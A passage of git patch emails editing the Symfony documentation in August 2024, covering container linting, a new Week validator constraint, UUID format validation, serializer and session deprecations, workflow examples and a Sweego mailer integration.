 
 .. code-block:: terminal
 
     $ php bin/console lint:container
 
-Checking the types of all service arguments whenever the container is compiled
-can hurt performance. That's why this type checking is implemented in a
-:doc:`compiler pass </service_container/compiler_passes>` called
-``CheckTypeDeclarationsPass`` which is disabled by default and enabled only when
-executing the ``lint:container`` command. If you don't mind the performance
-loss, enable the compiler pass in your application.
+Doing those checks whenever the container is compiled
+can hurt performance. That's why this is implemented in
+:doc:`compiler passes </service_container/compiler_passes>` called
+``CheckTypeDeclarationsPass`` and ``CheckAliasValidityPass`` which are disabled
+by default and enabled only when executing the ``lint:container`` command.
+If you don't mind the performance loss, enable these compiler passes in
+your application.
 
 .. _container-public:
 

From e2a15ae1c200ad097f9fb246c0eda5ade815304d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Aug 2024 16:39:28 +0200
Subject: [PATCH 4929/5766] Minor tweaks

---
 service_container.rst | 25 ++++++++++++-------------
 1 file changed, 12 insertions(+), 13 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index aa7868cfdd7..b5d3f8c5b99 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1035,26 +1035,25 @@ to them.
 Linting Service Definitions
 ---------------------------
 
-The ``lint:container`` command performs some additional checks to make sure
-the container is properly configured:
-* ensures the arguments injected into services match their type declarations.
-* ensures the interfaces configured as alias are resolving to a compatible
-service.
-It's useful to run it before deploying your application to production
-(e.g. in your continuous integration server):
+The ``lint:container`` command performs additional checks to ensure the container
+is properly configured. It is useful to run this command before deploying your
+application to production (e.g. in your continuous integration server):
 
 .. code-block:: terminal
 
     $ php bin/console lint:container
 
-Doing those checks whenever the container is compiled
-can hurt performance. That's why this is implemented in
-:doc:`compiler passes </service_container/compiler_passes>` called
-``CheckTypeDeclarationsPass`` and ``CheckAliasValidityPass`` which are disabled
-by default and enabled only when executing the ``lint:container`` command.
-If you don't mind the performance loss, enable these compiler passes in
+Performing those checks whenever the container is compiled can hurt performance.
+That's why they are implemented in :doc:`compiler passes </service_container/compiler_passes>`
+called ``CheckTypeDeclarationsPass`` and ``CheckAliasValidityPass``, which are
+disabled by default and enabled only when executing the ``lint:container`` command.
+If you don't mind the performance loss, you can enable these compiler passes in
 your application.
 
+.. versionadded:: 7.1
+
+    The ``CheckAliasValidityPass`` compiler pass was introduced in Symfony 7.1.
+
 .. _container-public:
 
 Public Versus Private Services

From d2fb31ff1f42bf2eaa95e35c5fa5cf355361b341 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Sat, 10 Aug 2024 17:44:18 +0200
Subject: [PATCH 4930/5766] templates: check that a Twig extension does not
 already exist

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 33815a2b21a..9fefc066fe0 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1430,7 +1430,7 @@ Writing a Twig Extension
 
 `Twig Extensions`_ allow the creation of custom functions, filters, and more to use
 in your Twig templates. Before writing your own Twig extension, check if
-the filter/function that you need is already implemented in:
+the filter/function that you need is not already implemented in:
 
 * The `default Twig filters and functions`_;
 * The :doc:`Twig filters and functions added by Symfony </reference/twig_reference>`;

From 27a4f50cdae7f837bc9879d6062d31e47fc7443d Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Mon, 12 Aug 2024 11:57:57 +0200
Subject: [PATCH 4931/5766] Update custom_authenticator.rst

---
 security/custom_authenticator.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 2259f9f0e08..cc8051f286e 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -37,12 +37,12 @@ method that fits most use-cases::
          */
         public function supports(Request $request): ?bool
         {
-            return $request->headers->has('X-AUTH-TOKEN');
+            return $request->headers->has('auth-token');
         }
 
         public function authenticate(Request $request): Passport
         {
-            $apiToken = $request->headers->get('X-AUTH-TOKEN');
+            $apiToken = $request->headers->get('auth-token');
             if (null === $apiToken) {
                 // The token header was empty, authentication fails with HTTP Status
                 // Code 401 "Unauthorized"

From 4b3bb15f307c8da98fb8ed57b34d9ea221ab0d69 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Mon, 12 Aug 2024 17:57:25 +0200
Subject: [PATCH 4932/5766] Add links for the better nav in the format
 specification refs

---
 reference/formats/expression_language.rst | 2 +-
 reference/formats/message_format.rst      | 2 +-
 reference/formats/yaml.rst                | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 6ab87e53a40..6d40683bfef 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -1,7 +1,7 @@
 The Expression Syntax
 =====================
 
-The ExpressionLanguage component uses a specific syntax which is based on the
+The :doc:`ExpressionLanguage component </components/expression_language>` uses a specific syntax which is based on the
 expression syntax of Twig. In this document, you can find all supported
 syntaxes.
 
diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst
index 5ebd5def049..af888b90c40 100644
--- a/reference/formats/message_format.rst
+++ b/reference/formats/message_format.rst
@@ -3,7 +3,7 @@ How to Translate Messages using the ICU MessageFormat
 
 Messages (i.e. strings) in applications are almost never completely static.
 They contain variables or other complex logic like pluralization. To
-handle this, the Translator component supports the `ICU MessageFormat`_ syntax.
+handle this, the :doc:`Translator component </translation>` supports the `ICU MessageFormat`_ syntax.
 
 .. tip::
 
diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index 3c4bd104465..9c6b165a0c4 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -1,7 +1,7 @@
 The YAML Format
 ---------------
 
-The Symfony Yaml Component implements a selected subset of features defined in
+The Symfony :doc:`Yaml Component </components/yaml>` implements a selected subset of features defined in
 the `YAML 1.2 version specification`_.
 
 Scalars

From a2281d22413dc10f1f7ad3c1a17063a65250d956 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Tue, 13 Aug 2024 17:03:35 +0200
Subject: [PATCH 4933/5766] [Workflow] Do to talk about workflow, and explain
 what support option is for

---
 components/workflow.rst                 | 18 ---------------
 workflow/workflow-and-state-machine.rst | 30 +++----------------------
 2 files changed, 3 insertions(+), 45 deletions(-)

diff --git a/components/workflow.rst b/components/workflow.rst
index 8ca201b0859..2e5e1eb0aa6 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -55,23 +55,6 @@ The ``Workflow`` can now help you to decide what *transitions* (actions) are all
 on a blog post depending on what *place* (state) it is in. This will keep your domain
 logic in one place and not spread all over your application.
 
-When you define multiple workflows you should consider using a ``Registry``,
-which is an object that stores and provides access to different workflows.
-A registry will also help you to decide if a workflow supports the object you
-are trying to use it with::
-
-    use Acme\Entity\BlogPost;
-    use Acme\Entity\Newsletter;
-    use Symfony\Component\Workflow\Registry;
-    use Symfony\Component\Workflow\SupportStrategy\InstanceOfSupportStrategy;
-
-    $blogPostWorkflow = ...;
-    $newsletterWorkflow = ...;
-
-    $registry = new Registry();
-    $registry->addWorkflow($blogPostWorkflow, new InstanceOfSupportStrategy(BlogPost::class));
-    $registry->addWorkflow($newsletterWorkflow, new InstanceOfSupportStrategy(Newsletter::class));
-
 Usage
 -----
 
@@ -100,7 +83,6 @@ method to initialize the object property::
 
     // ...
     $blogPost = new BlogPost();
-    $workflow = $registry->get($blogPost);
 
     // initiate workflow
     $workflow->getMarking($blogPost);
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 7d50cf0ac15..1d2ba6fcfc7 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -81,6 +81,7 @@ Below is the configuration for the pull request state machine.
                     marking_store:
                          type: 'method'
                          property: 'currentPlace'
+                    # The supports options is useful only if you are using twig functions ('workflow_*')
                     supports:
                         - App\Entity\PullRequest
                     initial_marking: start
@@ -132,6 +133,7 @@ Below is the configuration for the pull request state machine.
                         <framework:property>currentPlace</framework:property>
                     </framework:marking-store>
 
+                    <!-- The supports options is useful only if you are using twig functions ('workflow_*') -->
                     <framework:support>App\Entity\PullRequest</framework:support>
 
                     <framework:initial_marking>start</framework:initial_marking>
@@ -202,6 +204,7 @@ Below is the configuration for the pull request state machine.
 
             $pullRequest
                 ->type('state_machine')
+                // The supports options is useful only if you are using twig functions ('workflow_*')
                 ->supports(['App\Entity\PullRequest'])
                 ->initialMarking(['start']);
 
@@ -252,33 +255,6 @@ Below is the configuration for the pull request state machine.
                     ->to(['review']);
         };
 
-In a Symfony application using the
-:ref:`default services.yaml configuration <service-container-services-load-example>`,
-you can get this state machine by injecting the Workflow registry service::
-
-    // ...
-    use App\Entity\PullRequest;
-    use Symfony\Component\Workflow\Registry;
-
-    class SomeService
-    {
-        private $workflows;
-
-        public function __construct(Registry $workflows)
-        {
-            $this->workflows = $workflows;
-        }
-
-        public function someMethod(PullRequest $pullRequest)
-        {
-            $stateMachine = $this->workflows->get($pullRequest, 'pull_request');
-            $stateMachine->apply($pullRequest, 'wait_for_review');
-            // ...
-        }
-
-        // ...
-    }
-
 Symfony automatically creates a service for each workflow (:class:`Symfony\\Component\\Workflow\\Workflow`)
 or state machine (:class:`Symfony\\Component\\Workflow\\StateMachine`) you
 have defined in your configuration. This means that you can use ``workflow.pull_request``

From a1ece0dfce5beca535aba281b20354d3cf1a5010 Mon Sep 17 00:00:00 2001
From: lkolndeep <lkolndeep@protonmail.com>
Date: Tue, 13 Aug 2024 18:56:17 +0200
Subject: [PATCH 4934/5766] Correction of a typo for a reference link

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index adbe8359743..f0cba6f6eb1 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -717,7 +717,7 @@ If you use the Redis Transport, note that each worker needs a unique consumer
 name to avoid the same message being handled by multiple workers. One way to
 achieve this is to set an environment variable in the Supervisor configuration
 file, which you can then refer to in ``messenger.yaml``
-(see the ref:`Redis section <messenger-redis-transport>` below):
+(see the :ref:`Redis section <messenger-redis-transport>` below):
 
 .. code-block:: ini
 

From 323391d8876b561f1fa12d12c86c59cf75512c89 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 13 Aug 2024 10:21:05 +0200
Subject: [PATCH 4935/5766] [Validator] Add `Week` constraint

---
 reference/constraints/Week.rst    | 172 ++++++++++++++++++++++++++++++
 reference/constraints/map.rst.inc |   1 +
 2 files changed, 173 insertions(+)
 create mode 100644 reference/constraints/Week.rst

diff --git a/reference/constraints/Week.rst b/reference/constraints/Week.rst
new file mode 100644
index 00000000000..0aea71bee02
--- /dev/null
+++ b/reference/constraints/Week.rst
@@ -0,0 +1,172 @@
+Week
+====
+
+.. versionadded:: 7.2
+
+    The ``Week`` constraint was introduced in Symfony 7.2.
+
+Validates that a string (or an object implementing the ``Stringable`` PHP interface)
+matches a given week number. The week number format is defined by `ISO-8601`_
+and should be composed of the year and the week number, separated by a hyphen
+(e.g. ``2022-W01``).
+
+==========  =======================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Week`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\WeekValidator`
+==========  =======================================================================
+
+Basic Usage
+-----------
+
+If you wanted to ensure that the ``startWeek`` property of an ``OnlineCourse``
+class is between the first and the twentieth week of the year 2022, you could do
+the following:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/OnlineCourse.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class OnlineCourse
+        {
+            #[Assert\Week(min: '2022-W01', max: '2022-W20')]
+            protected string $startWeek;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\OnlineCourse:
+            properties:
+                startWeek:
+                    - Week:
+                        min: '2022-W01'
+                        max: '2022-W20'
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\OnlineCourse">
+                <property name="startWeek">
+                    <constraint name="Week">
+                        <option name="min">2022-W01</option>
+                        <option name="max">2022-W20</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/OnlineCourse.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class OnlineCourse
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('startWeek', new Assert\Week([
+                    'min' => '2022-W01',
+                    'max' => '2022-W20',
+                ]));
+            }
+        }
+
+.. note::
+
+    The constraint also checks that the given week exists in the calendar. For example,
+    ``2022-W53`` is not a valid week number for 2022, because 2022 only had 52 weeks.
+
+Options
+-------
+
+``min``
+~~~~~~~
+
+**type**: ``string`` **default**: ``null``
+
+The minimum week number that the value must match.
+
+``max``
+~~~~~~~
+
+**type**: ``string`` **default**: ``null``
+
+The maximum week number that the value must match.
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+``invalidFormatMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This value does not represent a valid week in the ISO 8601 format.``
+
+This is the message that will be shown if the value does not match the ISO 8601
+week format.
+
+``invalidWeekNumberMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The week "{{ value }}" is not a valid week.``
+
+This is the message that will be shown if the value does not match a valid week
+number.
+
+You can use the following parameters in this message:
+
+================  ==================================================
+Parameter         Description
+================  ==================================================
+``{{ value }}``   The value that was passed to the constraint
+================  ==================================================
+
+``tooLowMessage``
+~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The value should not be before week "{{ min }}".``
+
+This is the message that will be shown if the value is lower than the minimum
+week number.
+
+You can use the following parameters in this message:
+
+================  ==================================================
+Parameter         Description
+================  ==================================================
+``{{ min }}``     The minimum week number
+================  ==================================================
+
+``tooHighMessage``
+~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The value should not be after week "{{ max }}".``
+
+This is the message that will be shown if the value is higher than the maximum
+week number.
+
+You can use the following parameters in this message:
+
+================  ==================================================
+Parameter         Description
+================  ==================================================
+``{{ max }}``     The maximum week number
+================  ==================================================
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _ISO-8601: https://en.wikipedia.org/wiki/ISO_8601
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 978951c9de7..e0dbd6c4512 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -64,6 +64,7 @@ Date Constraints
 * :doc:`DateTime </reference/constraints/DateTime>`
 * :doc:`Time </reference/constraints/Time>`
 * :doc:`Timezone </reference/constraints/Timezone>`
+* :doc:`Week </reference/constraints/Week>`
 
 Choice Constraints
 ~~~~~~~~~~~~~~~~~~

From 7a36ad35c3738f1da1b6e7fa7ea8062b23b5f7a9 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 16 Aug 2024 09:19:35 +0200
Subject: [PATCH 4936/5766] fix XML config example

---
 workflow/workflow-and-state-machine.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 7d50cf0ac15..2f4425b935e 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -127,14 +127,11 @@ Below is the configuration for the pull request state machine.
 
             <framework:config>
                 <framework:workflow name="pull_request" type="state_machine">
-                    <framework:marking-store>
-                        <framework:type>method</framework:type>
-                        <framework:property>currentPlace</framework:property>
-                    </framework:marking-store>
+                    <framework:initial-marking>start</framework:initial-marking>
 
-                    <framework:support>App\Entity\PullRequest</framework:support>
+                    <framework:marking-store type="method" property="currentPlace"/>
 
-                    <framework:initial_marking>start</framework:initial_marking>
+                    <framework:support>App\Entity\PullRequest</framework:support>
 
                     <framework:place>start</framework:place>
                     <framework:place>coding</framework:place>

From 768ef5a217a6084cc4b2a017426d6335964ec047 Mon Sep 17 00:00:00 2001
From: matlec <mathieu.lechat@sensiolabs.com>
Date: Fri, 16 Aug 2024 12:12:34 +0200
Subject: [PATCH 4937/5766] [Security] Remove note about stateless firewalls
 marking routes as stateless

---
 reference/configuration/security.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 154ef86f21f..d84d7a5d5b7 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -1075,13 +1075,6 @@ the session must not be used when authenticating users:
             // ...
         };
 
-Routes under this firewall will be :ref:`configured stateless <stateless-routing>`
-when they are not explicitly configured stateless or not.
-
-.. versionadded:: 6.3
-
-    Stateless firewall marking routes stateless was introduced in Symfony 6.3.
-
 User Checkers
 ~~~~~~~~~~~~~
 

From be7999ef3be6b79de03cd9bf18832f288933168d Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Wed, 14 Aug 2024 23:12:46 +0200
Subject: [PATCH 4938/5766] Add the missing note on how to inject a service
 into the controller

---
 controller.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index 7866a97818b..3194b6e46e4 100644
--- a/controller.rst
+++ b/controller.rst
@@ -178,7 +178,8 @@ These are used for rendering templates, sending emails, querying the database an
 any other "work" you can think of.
 
 If you need a service in a controller, type-hint an argument with its class
-(or interface) name. Symfony will automatically pass you the service you need::
+(or interface) name. Symfony will automatically pass you the service you need.
+Make sure your :doc:`controller is registered as a service </controller/service>`::
 
     use Psr\Log\LoggerInterface;
     use Symfony\Component\HttpFoundation\Response;

From 895248e876f29caa3b36191be4b6c1e0e907773d Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Sat, 17 Aug 2024 17:31:32 +0200
Subject: [PATCH 4939/5766] fix comment

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index adbe8359743..38450ccb6b9 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2283,8 +2283,8 @@ to your message::
 
     public function index(MessageBusInterface $bus)
     {
+        // wait 5 seconds before processing
         $bus->dispatch(new SmsNotification('...'), [
-            // wait 5 seconds before processing
             new DelayStamp(5000),
         ]);
 

From 8d5b1d357df87484858a2902baf6cd0d2e8b59dd Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 19 Aug 2024 10:48:33 +0200
Subject: [PATCH 4940/5766] [Uid] Add support for binary, base-32 and base-58
 representations in `Uuid::isValid()`

---
 components/uid.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index 7195d393ed3..feb58968347 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -314,6 +314,30 @@ UUID objects created with the ``Uuid`` class can use the following methods
     //   * int < 0 if $uuid1 is less than $uuid4
     $uuid1->compare($uuid4); // e.g. int(4)
 
+If you're working with different UUIDs format and want to validate them,
+you can use the ``$format`` parameter of the :method:`Symfony\\Component\\Uid\\Uuid::isValid`
+method to specify the UUID format you're expecting::
+
+    use Symfony\Component\Uid\Uuid;
+
+    $isValid = Uuid::isValid('90067ce4-f083-47d2-a0f4-c47359de0f97', Uuid::FORMAT_RFC_4122); // accept only RFC 4122 UUIDs
+    $isValid = Uuid::isValid('3aJ7CNpDMfXPZrCsn4Cgey', Uuid::FORMAT_BASE_32 | Uuid::FORMAT_BASE_58); // accept multiple formats
+
+The following constants are available:
+
+* ``Uuid::FORMAT_BINARY``
+* ``Uuid::FORMAT_BASE_32``
+* ``Uuid::FORMAT_BASE_58``
+* ``Uuid::FORMAT_RFC_4122``
+
+You can also use the ``Uuid::FORMAT_ALL`` constant to accept any UUID format.
+By default, only the RFC 4122 format is accepted.
+
+.. versionadded:: 7.2
+
+    The ``$format`` parameter of the :method:`Symfony\\Component\\Uid\\Uuid::isValid`
+    method and the related constants were introduced in Symfony 7.2.
+
 Storing UUIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 3567f5b79a01bd878143a3016bc224559f5c4ec4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 19 Aug 2024 10:58:42 +0200
Subject: [PATCH 4941/5766] [Serializer] Deprecate passing a non-empty CSV
 escape char

---
 components/serializer.rst | 38 ++++++++++++++++++++++++--------------
 1 file changed, 24 insertions(+), 14 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 09efbf44e6c..61124e3f030 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1064,30 +1064,35 @@ which defines the configuration options for the CsvEncoder an associative array:
 
 These are the options available:
 
-======================= =====================================================  ==========================
-Option                  Description                                            Default
-======================= =====================================================  ==========================
-``csv_delimiter``       Sets the field delimiter separating values (one        ``,``
+======================= ============================================================= ==========================
+Option                  Description                                                   Default
+======================= ============================================================= ==========================
+``csv_delimiter``       Sets the field delimiter separating values (one               ``,``
                         character only)
-``csv_enclosure``       Sets the field enclosure (one character only)          ``"``
-``csv_end_of_line``     Sets the character(s) used to mark the end of each     ``\n``
+``csv_enclosure``       Sets the field enclosure (one character only)                 ``"``
+``csv_end_of_line``     Sets the character(s) used to mark the end of each            ``\n``
                         line in the CSV file
-``csv_escape_char``     Sets the escape character (at most one character)      empty string
-``csv_key_separator``   Sets the separator for array's keys during its         ``.``
+``csv_escape_char``     Deprecated. Sets the escape character (at most one character) empty string
+``csv_key_separator``   Sets the separator for array's keys during its                ``.``
                         flattening
 ``csv_headers``         Sets the order of the header and data columns
                         E.g.: if ``$data = ['c' => 3, 'a' => 1, 'b' => 2]``
                         and ``$options = ['csv_headers' => ['a', 'b', 'c']]``
                         then ``serialize($data, 'csv', $options)`` returns
-                        ``a,b,c\n1,2,3``                                       ``[]``, inferred from input data's keys
-``csv_escape_formulas`` Escapes fields containing formulas by prepending them  ``false``
+                        ``a,b,c\n1,2,3``                                              ``[]``, inferred from input data's keys
+``csv_escape_formulas`` Escapes fields containing formulas by prepending them         ``false``
                         with a ``\t`` character
-``as_collection``       Always returns results as a collection, even if only   ``true``
+``as_collection``       Always returns results as a collection, even if only          ``true``
                         one line is decoded.
-``no_headers``          Setting to ``false`` will use first row as headers.    ``false``
+``no_headers``          Setting to ``false`` will use first row as headers.           ``false``
                         ``true`` generate numeric headers.
-``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data   ``false``
-======================= =====================================================  ==========================
+``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data          ``false``
+======================= ============================================================= ==========================
+
+.. deprecated:: 7.2
+
+    The ``csv_escape_char`` option and the ``CsvEncoder::ESCAPE_CHAR_KEY``
+    constant were deprecated in Symfony 7.2.
 
 The ``XmlEncoder``
 ~~~~~~~~~~~~~~~~~~
@@ -1304,6 +1309,11 @@ you can use "context builders" to define the context using a fluent interface::
     You can also :doc:`create custom context builders </serializer/custom_context_builders>`
     to deal with your context values.
 
+.. deprecated:: 7.2
+
+    The ``CsvEncoderContextBuilder::withEscapeChar()`` method was deprecated
+    in Symfony 7.2.
+
 Skipping ``null`` Values
 ------------------------
 

From f39be7640c72c575da3320aa01ff3e7cca466660 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 19 Aug 2024 11:06:42 +0200
Subject: [PATCH 4942/5766] [FrameworkBundle][HttpFoundation] Deprecate
 `session.sid_length` and `session.sid_bits_per_character` config options

---
 reference/configuration/framework.rst | 8 ++++++++
 session.rst                           | 5 +++++
 2 files changed, 13 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0921fe9ac2e..72c4b1b94f7 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1874,6 +1874,10 @@ session IDs are harder to guess.
 
 If not set, ``php.ini``'s `session.sid_length`_ directive will be relied on.
 
+.. deprecated:: 7.2
+
+    The ``sid_length`` option was deprecated in Symfony 7.2.
+
 sid_bits_per_character
 ......................
 
@@ -1886,6 +1890,10 @@ most environments.
 
 If not set, ``php.ini``'s `session.sid_bits_per_character`_ directive will be relied on.
 
+.. deprecated:: 7.2
+
+    The ``sid_bits_per_character`` option was deprecated in Symfony 7.2.
+
 save_path
 .........
 
diff --git a/session.rst b/session.rst
index 29d1ba364d1..77aea3bba00 100644
--- a/session.rst
+++ b/session.rst
@@ -400,6 +400,11 @@ Check out the Symfony config reference to learn more about the other available
     ``session.auto_start = 1`` This directive should be turned off in
     ``php.ini``, in the web server directives or in ``.htaccess``.
 
+.. deprecated:: 7.2
+
+    The ``sid_length`` and ``sid_bits_per_character`` options were deprecated
+    in Symfony 7.2 and will be ignored in Symfony 8.0.
+
 The session cookie is also available in :ref:`the Response object <component-http-foundation-response>`.
 This is useful to get that cookie in the CLI context or when using PHP runners
 like Roadrunner or Swoole.

From 51fdaa869c908061f2fc355442a219c57bfc2f0a Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 20 Aug 2024 09:19:34 +0200
Subject: [PATCH 4943/5766] document the requests constructor argument of the
 RequestStack class

---
 components/form.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index 7584d223032..f463ef5911b 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -123,8 +123,7 @@ The following snippet adds CSRF protection to the form factory::
     use Symfony\Component\Security\Csrf\TokenStorage\SessionTokenStorage;
 
     // creates a RequestStack object using the current request
-    $requestStack = new RequestStack();
-    $requestStack->push($request);
+    $requestStack = new RequestStack([$request]);
 
     $csrfGenerator = new UriSafeTokenGenerator();
     $csrfStorage = new SessionTokenStorage($requestStack);
@@ -135,6 +134,11 @@ The following snippet adds CSRF protection to the form factory::
         ->addExtension(new CsrfExtension($csrfManager))
         ->getFormFactory();
 
+.. versionadded:: 7.2
+
+    Support for passing requests to the constructor of the ``RequestStack``
+    class was introduced in Symfony 7.2.
+
 Internally, this extension will automatically add a hidden field to every
 form (called ``_token`` by default) whose value is automatically generated by
 the CSRF generator and validated when binding the form.

From bad2a212bf68bdfc6479765d2ecb4123677aee4e Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@protonmail.com>
Date: Tue, 20 Aug 2024 12:01:07 +0200
Subject: [PATCH 4944/5766] feat(mailer): Add Sweego Mailer doc

---
 mailer.rst  | 8 +++++++-
 webhook.rst | 3 ++-
 2 files changed, 9 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 11acd065e52..091e6d6e5b9 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -115,6 +115,7 @@ Service               Install with                                    Webhook su
 `Resend`_             ``composer require symfony/resend-mailer``      yes
 `Scaleway`_           ``composer require symfony/scaleway-mailer``
 `SendGrid`_           ``composer require symfony/sendgrid-mailer``    yes
+`Sweego`_             ``composer require symfony/sweego-mailer``      yes
 ===================== =============================================== ===============
 
 .. versionadded:: 7.1
@@ -123,7 +124,7 @@ Service               Install with                                    Webhook su
 
 .. versionadded:: 7.2
 
-    The Mailomat and Postal integrations were introduced in Symfony 7.2.
+    The Mailomat, Postal and Sweego integrations were introduced in Symfony 7.2.
 
 .. note::
 
@@ -235,6 +236,10 @@ party provider:
 |                        | - HTTP n/a                                              |
 |                        | - API ``sendgrid+api://KEY@default``                    |
 +------------------------+---------------------------------------------------------+
+| `Sweego`_              | - SMTP ``sweego+smtp://LOGIN:PASSWORD@HOST:PORT``       |
+|                        | - HTTP n/a                                              |
+|                        | - API ``sweego+api://API_KEY@default``                  |
++------------------------+---------------------------------------------------------+
 
 .. caution::
 
@@ -2004,3 +2009,4 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME
 .. _`Scaleway`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Scaleway/README.md
 .. _`SendGrid`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Sendgrid/README.md
+.. _`Sweego`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Sweego/README.md
diff --git a/webhook.rst b/webhook.rst
index 52633ae83e5..176abc49cd2 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -31,6 +31,7 @@ Mailomat       ``mailer.webhook.request_parser.mailomat``
 Postmark       ``mailer.webhook.request_parser.postmark``
 Resend         ``mailer.webhook.request_parser.resend``
 Sendgrid       ``mailer.webhook.request_parser.sendgrid``
+Sweego         ``mailer.webhook.request_parser.sweego``
 ============== ============================================
 
 .. versionadded:: 7.1
